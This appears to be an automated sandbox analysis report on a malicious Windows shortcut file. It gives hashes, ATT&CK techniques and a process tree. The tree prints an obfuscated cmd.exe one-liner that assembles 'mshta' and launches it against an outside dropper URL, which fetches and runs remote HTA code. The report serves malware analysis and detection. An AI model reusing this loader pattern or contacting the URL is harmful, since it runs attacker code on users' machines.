f130aa3092f63f405f621efcbd778296a295e5fc09e5dbc6e7cee4255d499459

Analysis

max time kernel
148s
max time network
131s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:36

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General

Target
DOC-WLA21A.lnk
Size 1KB
Sample260804-kh1sba1vfx
SHA256 f130aa3092f63f405f621efcbd778296a295e5fc09e5dbc6e7cee4255d499459
MD5 388491c7faff1513adcd2bb5c26da32f
SHA1 3bb8da8704595cfe025f24d0bee630ceded9167a
SHA512 a0f9671e26611a94a247e7754e6c14557875b9a72c823897bf36456b5c61f36867db28f6f24a3c5c5b07a2e30ea0f9ae457ce2a0493c4db6b5d2513e525a140c
TLSH
T1353197003EEC0624F3B38F7698BB572085BAB8968E20C62E0040490C5032A15E17AF7B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3124	cmd.exe
3932	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3124 wrote to memory of 3932	3124	cmd.exe	89
PID 3932 wrote to memory of 4064	3932	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-WLA21A.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3124
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set kl=msh&&set GvUn=ta&&start "" !kl!!GvUn! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3932
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:4064

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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